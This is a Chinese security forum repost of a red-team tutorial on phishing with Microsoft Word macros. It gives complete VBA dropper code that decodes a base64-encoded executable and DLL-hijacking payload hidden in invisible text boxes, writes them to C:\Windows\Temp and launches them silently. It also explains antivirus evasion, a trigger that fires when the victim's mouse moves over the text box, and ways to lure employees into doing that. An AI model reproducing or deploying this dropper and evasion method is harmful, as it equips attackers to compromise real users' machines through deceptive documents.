安全矩阵

 找回密码
 立即注册
搜索
查看: 2942|回复: 0

实战 | 钓鱼与社工系列之office宏

[复制链接]

855

主题

862

帖子

2940

积分

金牌会员

Rank: 6Rank: 6

积分
2940
发表于 2021-12-9 14:34:12 | 显示全部楼层 |阅读模式
原文链接:实战 | 钓鱼与社工系列之office宏

0x01 介绍
根据多次项目实战中发现,office宏仍然是最高的成功率,在静默钓鱼中也是最不容易触发人员的警觉。因为大部分员工即使有安全意识,也是不运行陌生的exe程序,但是对于word文档则没有足够的安全意识,认为word文档都是安全的。正是基于此心理状态,office宏在钓鱼中仍然占据重要成分。
当然,现在office在国内市场中其实占据并不多,越来越多人用wps了。那么这种情况下office宏肯定是无效了,下篇文章会针对该情景分析如何钓鱼。
0x02 宏代码流程及免杀网上有很多项目及文章是如何实现宏免杀的效果,之所以要宏免杀大部分原因都是代码是实现运行宏的时候就直接远程上线到rat上。例如调用powershell或者远程下载等等代码所用到的api或者函数,都被杀软盯着。那么换个思路,我们即不调用powershell执行敏感函数,也不远程下载文件,我们所做要的是释放文件并通过dll劫持实现上线
释放文件其实也是个技术活,经过测试,能否释放文件成功主要看你的文件是不是静态免杀,如果文件静态免杀,那么就能够成功释放。因为这就是个正常的功能,杀软不可能拦截你释放安全的文件,不然就影响一些职业的正常办公了。而我们用的是dll劫持的方法,白名单程序肯定是安全的文件,那么就是我们的恶意dll文件如何实现静态免杀了。如何让dll文件静态免杀的方法很多,网上也有很多项目,这块内容不在该文章里,以后会详细讲解。
上段说了释放文件,而文件也都静态免杀了。那么还有一个要注意的地方,那就是dll劫持的程序保存在word文件哪里?首先我们得将dll劫持程序已二进制形式读取出来,然后base64编码后得到了一串字符串,只要释放的时候重新base64解码并已二进制形式写入到磁盘里,这样就能够释放出dll劫持程序了。那么重点就是该base64字符串存放在哪里?千万别放在宏代码里,很容易被杀,最好的规避杀软的方法就是将base64字符串放到word正文里的文本框等控件里。然后宏代码去读取文本框里的base64字符串,再解码写入磁盘里并运行白程序实现上线。这样通过该方法就能够实现了宏免杀。
最后一步就是如何触发宏了,千万不要使用打开word文件就触发宏的方法,很容易被杀软拦截。我常用的方法就是弄一个很大的文本框放在第一页,然后当目标的鼠标移动到文本框时就触发宏。这样的方法既能有效规避杀软,还能在目标不知情的情况下触发了宏!
总结:寻找一个dll劫持的白程序,做一个静态免杀的dll文件,将所有文件以二进制形式读取出来并base64编码后存放到word的文本框里。宏代码功能读取文本框里的字符串并解码写入磁盘,然后运行白程序即可免杀上线!
0x03 宏代码0x03-1 读取文件并base64编码先使用下面的代码将白程序和dll文件base64编码得到字符串
  1. Sub WriteBinary(FileName, Buf)
  2.   Dim I, aBuf, Size, bStream
  3.   Size = UBound(Buf): ReDim aBuf(Size \ 2)
  4.   For I = 0 To Size - 1 Step 2
  5.       aBuf(I \ 2) = ChrW(Buf(I + 1) * 256 + Buf(I))
  6.   Next
  7.   If I = Size Then aBuf(I \ 2) = ChrW(Buf(I))
  8.   aBuf = Join(aBuf, "")
  9.   Set bStream = CreateObject("ADODB.Stream")
  10.   bStream.Type = 1: bStream.Open
  11.   With CreateObject("ADODB.Stream")
  12.     .Type = 2: .Open: .WriteText aBuf
  13.     .Position = 2: .CopyTo bStream: .Close
  14.   End With
  15.   bStream.SaveToFile FileName, 2: bStream.Close
  16.   Set bStream = Nothing
  17. End Sub

  18. Function Base64Encode(str() As Byte) As String                                  'Base64 编码
  19.     On Error GoTo over                                                          '排错
  20.     Dim Buf() As Byte, length As Long, mods As Long
  21.     Const B64_CHAR_DICT = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="
  22.     mods = (UBound(str) + 1) Mod 3   '除以3的余数
  23.     length = UBound(str) + 1 - mods
  24.     ReDim Buf(length / 3 * 4 + IIf(mods <> 0, 4, 0) - 1)
  25.     Dim I As Long
  26.     For I = 0 To length - 1 Step 3
  27.         Buf(I / 3 * 4) = (str(I) And &HFC) / &H4
  28.         Buf(I / 3 * 4 + 1) = (str(I) And &H3) * &H10 + (str(I + 1) And &HF0) / &H10
  29.         Buf(I / 3 * 4 + 2) = (str(I + 1) And &HF) * &H4 + (str(I + 2) And &HC0) / &H40
  30.         Buf(I / 3 * 4 + 3) = str(I + 2) And &H3F
  31.     Next
  32.     If mods = 1 Then
  33.         Buf(length / 3 * 4) = (str(length) And &HFC) / &H4
  34.         Buf(length / 3 * 4 + 1) = (str(length) And &H3) * &H10
  35.         Buf(length / 3 * 4 + 2) = 64
  36.         Buf(length / 3 * 4 + 3) = 64
  37.     ElseIf mods = 2 Then
  38.         Buf(length / 3 * 4) = (str(length) And &HFC) / &H4
  39.         Buf(length / 3 * 4 + 1) = (str(length) And &H3) * &H10 + (str(length + 1) And &HF0) / &H10
  40.         Buf(length / 3 * 4 + 2) = (str(length + 1) And &HF) * &H4
  41.         Buf(length / 3 * 4 + 3) = 64
  42.     End If
  43.     For I = 0 To UBound(Buf)
  44.         Base64Encode = Base64Encode + Mid(B64_CHAR_DICT, Buf(I) + 1, 1)
  45.     Next
  46. over:
  47. End Function


  48. 'VB Base64 解码/解密函数:

  49. Function Base64Decode(B64 As String) As Byte()                                  'Base64 解码
  50.     On Error GoTo over                                                          '排错
  51.     Dim OutStr() As Byte, I As Long, j As Long
  52.     Const B64_CHAR_DICT = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="
  53.     If InStr(1, B64, "=") <> 0 Then B64 = Left(B64, InStr(1, B64, "=") - 1)     '判断Base64真实长度,除去补位
  54.     Dim length As Long, mods As Long
  55.     mods = Len(B64) Mod 4
  56.     length = Len(B64) - mods
  57.     ReDim OutStr(length / 4 * 3 - 1 + Switch(mods = 0, 0, mods = 2, 1, mods = 3, 2))
  58.     For I = 1 To length Step 4
  59.         Dim Buf(3) As Byte
  60.         For j = 0 To 3
  61.             Buf(j) = InStr(1, B64_CHAR_DICT, Mid(B64, I + j, 1)) - 1            '根据字符的位置取得索引值
  62.         Next
  63.         OutStr((I - 1) / 4 * 3) = Buf(0) * &H4 + (Buf(1) And &H30) / &H10
  64.         OutStr((I - 1) / 4 * 3 + 1) = (Buf(1) And &HF) * &H10 + (Buf(2) And &H3C) / &H4
  65.         OutStr((I - 1) / 4 * 3 + 2) = (Buf(2) And &H3) * &H40 + Buf(3)
  66.     Next
  67.     If mods = 2 Then
  68.         OutStr(length / 4 * 3) = (InStr(1, B64_CHAR_DICT, Mid(B64, length + 1, 1)) - 1) * &H4 + ((InStr(1, B64_CHAR_DICT, Mid(B64, length + 2, 1)) - 1) And &H30) / 16
  69.     ElseIf mods = 3 Then
  70.         OutStr(length / 4 * 3) = (InStr(1, B64_CHAR_DICT, Mid(B64, length + 1, 1)) - 1) * &H4 + ((InStr(1, B64_CHAR_DICT, Mid(B64, length + 2, 1)) - 1) And &H30) / 16
  71.         OutStr(length / 4 * 3 + 1) = ((InStr(1, B64_CHAR_DICT, Mid(B64, length + 2, 1)) - 1) And &HF) * &H10 + ((InStr(1, B64_CHAR_DICT, Mid(B64, length + 3, 1)) - 1) And &H3C) / &H4
  72.     End If
  73.     Base64Decode = OutStr                                                       '读取解码结果
  74. over:
  75. End Function


  76. Sub test2()
  77.     Dim iFN As Integer
  78.     Dim sPath As String
  79.     Dim bFileSize As Long
  80.     Dim sResult As String
  81.     Dim arr() As Byte       ' 字节数组
  82.     Dim arra() As Byte       ' 字节数组
  83.     Dim infile, outfile, infileBase As String
  84.     infile = "C:\Windows\Temp\123.exe"
  85.     outfile = "c:\windows\temp\1.exe"

  86.     iFN = VBA.FreeFile

  87.     bFileSize = VBA.FileLen(infile)
  88.     'Debug.Print bFileSize
  89.     Open infile For Binary Access Read As iFN
  90.     arr = InputB(bFileSize, iFN)        '读取字节流

  91.     infileBase = Base64Encode(arr())

  92.     'Debug.Print infileBase

  93.     Dim FSO
  94.     Set FSO = CreateObject("Scripting.FileSystemObject")

  95.     Set OutPutFile = FSO.OpenTextFile("C:\windows\temp\test.txt", 2, True)
  96.     OutPutFile.Write (infileBase)
  97.     OutPutFile.Close
  98.     Set FSO = Nothing


  99.     'Dim infileBaseExe As String
  100.     'infileBaseExe = Range("J22").Value
  101.     'infileBaseExe = infileBaseExe + Range("J23").Value

  102.     'arra = Base64Decode(infileBase)

  103.     'WriteBinary outfile, arra


  104. End Sub
复制代码


0x03-2 office宏上线代码从文本框中读取base64内容,解码后写入到c:\windows\temp\目录下,当用户鼠标移动或点击到文本框中,触发宏执行木马
  1. Private Declare PtrSafe Sub Sleep Lib "kernel32" (ByVal Milliseconds As LongPtr)
  2. Private Declare PtrSafe Function GetProcAddress Lib "kernel32" (ByVal hModule As LongPtr, ByVal lpProcName As String) As LongPtr
  3. Private Declare PtrSafe Function LoadLibrary Lib "kernel32" Alias "LoadLibraryA" (ByVal lpLibFileName As String) As LongPtr
  4. Private Declare PtrSafe Function VirtualProtect Lib "kernel32" (lpAddress As Any, ByVal dwSize As LongPtr, ByVal flNewProtect As Long, lpflOldProtect As Long) As Long
  5. Private Declare PtrSafe Sub ByteSwapper Lib "kernel32.dll" Alias "RtlFillMemory" (Destination As Any, ByVal length As Long, ByVal Fill As Byte)
  6. Private Declare PtrSafe Sub Peek Lib "msvcrt" Alias "memcpy" (ByRef pDest As Any, ByRef pSource As Any, ByVal nBytes As Long)
  7. Private Declare PtrSafe Function CreateProcess Lib "kernel32" Alias "CreateProcessA" (ByVal lpApplicationName As String, ByVal lpCommandLine As String, lpProcessAttributes As Any, lpThreadAttributes As Any, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, lpEnvironment As Any, ByVal lpCurrentDriectory As String, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long
  8. Private Declare PtrSafe Function OpenProcess Lib "kernel32.dll" (ByVal dwAccess As Long, ByVal fInherit As Integer, ByVal hObject As Long) As Long
  9. Private Declare PtrSafe Function TerminateProcess Lib "kernel32" (ByVal hProcess As Long, ByVal uExitCode As Long) As Long
  10. Private Declare PtrSafe Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long

  11. Private Type PROCESS_INFORMATION
  12.     hProcess As Long
  13.     hThread As Long
  14.     dwProcessId As Long
  15.     dwThreadId As Long
  16. End Type

  17. Private Type STARTUPINFO
  18.     cb As Long
  19.     lpReserved As String
  20.     lpDesktop As String
  21.     lpTitle As String
  22.     dwX As Long
  23.     dwY As Long
  24.     dwXSize As Long
  25.     dwYSize As Long
  26.     dwXCountChars As Long
  27.     dwYCountChars As Long
  28.     dwFillAttribute As Long
  29.     dwFlags As Long
  30.     wShowWindow As Integer
  31.     cbReserved2 As Integer
  32.     lpReserved2 As Long
  33.     hStdInput As Long
  34.     hStdOutput As Long
  35.     hStdError As Long
  36. End Type

  37. Const CREATE_NO_WINDOW = &H8000000
  38. Const CREATE_NEW_CONSOLE = &H10

  39. Function fileExist(filePath)
  40.     Dim fso
  41.     Set fso = CreateObject("Scripting.FileSystemObject")
  42.     If fso.fileExists(filePath) Then
  43.         fileExist = True
  44.     Else
  45.         fileExist = False
  46.     End If
  47.     Set fso = Nothing
  48. End Function


  49. Function dddddd(B64 As String) As Byte()
  50.     On Error GoTo over
  51.     Dim OutStr() As Byte, i As Long, j As Long
  52.     Const B64_CHAR_DICT = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="
  53.     If InStr(1, B64, "=") <> 0 Then B64 = Left(B64, InStr(1, B64, "=") - 1)
  54.     Dim length As Long, mods As Long
  55.     mods = Len(B64) Mod 4
  56.     length = Len(B64) - mods
  57.     ReDim OutStr(length / 4 * 3 - 1 + Switch(mods = 0, 0, mods = 2, 1, mods = 3, 2))
  58.     For i = 1 To length Step 4
  59.         Dim buf(3) As Byte
  60.         For j = 0 To 3
  61.             buf(j) = InStr(1, B64_CHAR_DICT, Mid(B64, i + j, 1)) - 1
  62.         Next
  63.         OutStr((i - 1) / 4 * 3) = buf(0) * &H4 + (buf(1) And &H30) / &H10
  64.         OutStr((i - 1) / 4 * 3 + 1) = (buf(1) And &HF) * &H10 + (buf(2) And &H3C) / &H4
  65.         OutStr((i - 1) / 4 * 3 + 2) = (buf(2) And &H3) * &H40 + buf(3)
  66.     Next
  67.     If mods = 2 Then
  68.         OutStr(length / 4 * 3) = (InStr(1, B64_CHAR_DICT, Mid(B64, length + 1, 1)) - 1) * &H4 + ((InStr(1, B64_CHAR_DICT, Mid(B64, length + 2, 1)) - 1) And &H30) / 16
  69.     ElseIf mods = 3 Then
  70.         OutStr(length / 4 * 3) = (InStr(1, B64_CHAR_DICT, Mid(B64, length + 1, 1)) - 1) * &H4 + ((InStr(1, B64_CHAR_DICT, Mid(B64, length + 2, 1)) - 1) And &H30) / 16
  71.         OutStr(length / 4 * 3 + 1) = ((InStr(1, B64_CHAR_DICT, Mid(B64, length + 2, 1)) - 1) And &HF) * &H10 + ((InStr(1, B64_CHAR_DICT, Mid(B64, length + 3, 1)) - 1) And &H3C) / &H4
  72.     End If
  73.     dddddd = OutStr
  74. over:
  75. End Function


  76. Function runCommand(comando)
  77.     Dim pInfo As PROCESS_INFORMATION
  78.     Dim sInfo As STARTUPINFO
  79.     Dim sNull As String
  80.     Dim lSuccess As Long
  81.     Dim lRetValue As Long

  82.     lSuccess = CreateProcess(sNull, comando, ByVal 0&, ByVal 0&, 1&, CREATE_NO_WINDOW, ByVal 0&, sNull, sInfo, pInfo)

  83.     lRetValue = CloseHandle(pInfo.hThread)
  84.     lRetValue = CloseHandle(pInfo.hProcess)

  85. End Function


  86. Function WriteBinary(FileName, buf)
  87.   Dim i, aBuf, Size, bStream
  88.   Size = UBound(buf): ReDim aBuf(Size \ 2)
  89.   For i = 0 To Size - 1 Step 2
  90.       aBuf(i \ 2) = ChrW(buf(i + 1) * 256 + buf(i))
  91.   Next
  92.   If i = Size Then aBuf(i \ 2) = ChrW(buf(i))
  93.   aBuf = Join(aBuf, "")
  94.   Set bStream = CreateObject("ADODB.Stream")
  95.   bStream.Type = 1: bStream.Open
  96.   With CreateObject("ADODB.Stream")
  97.     .Type = 2: .Open: .WriteText aBuf
  98.     .Position = 2: .CopyTo bStream: .Close
  99.   End With
  100.   bStream.SaveToFile FileName, 2: bStream.Close
  101.   Set bStream = Nothing
  102. End Function


  103. Function releaseFile(path As String, conte As String)

  104.     hwminiArra = dddddd(conte)
  105.     WriteBinary path, hwminiArra



  106. End Function


  107. Function start()
  108.     Dim filePath As String
  109.     filePath = "C:\Windows\temp\aaaaaaa.exe"
  110.     If Not fileExist(filePath) Then
  111.         releaseFile "C:\Windows\temp\aaaaaaa.exe", Replace(ActiveDocument.Shapes(1).TextFrame.TextRange, Chr(13), Empty)
  112.         releaseFile "C:\Windows\temp\aaaaaaaaaaa.dll", Replace(ActiveDocument.Shapes(2).TextFrame.TextRange, Chr(13), Empty)
  113.     End If
  114.     runCommand (filePath)

  115. End Function




  116. Private Sub TextBox2_MouseDown(ByVal Button As Integer, ByVal Shift As Integer, ByVal X As Single, ByVal Y As Single)
  117.     Static i As Integer
  118.     i = i + 1
  119.     If i < 3 Then
  120.         start
  121.     End If
  122. End Sub


  123. Private Sub TextBox2_MouseMove(ByVal Button As Integer, ByVal Shift As Integer, ByVal X As Single, ByVal Y As Single)
  124.     Static i As Integer
  125.     i = i + 1
  126.     If i < 3 Then
  127.         start
  128.     End If
  129. End Sub
复制代码

0x04 隐藏文本框将dll劫持的程序base64编码后存放在文本框里

文本框的线条设置为无颜色



将base64字符串的字体设置为白色,

将最后一页的最上方空白行删掉,那么这时候就看不到文本框了

在首页将触发宏的文本框拉到最大,然后话术诱导目标将鼠标移动或点击文本框

0x05 宏代码加密
   为了防止宏代码被分析,可以设置密码。当然这仅仅只是防不懂的人,懂的人还是会用工具解密的。





回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2025-4-23 09:10 , Processed in 0.016218 second(s), 19 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表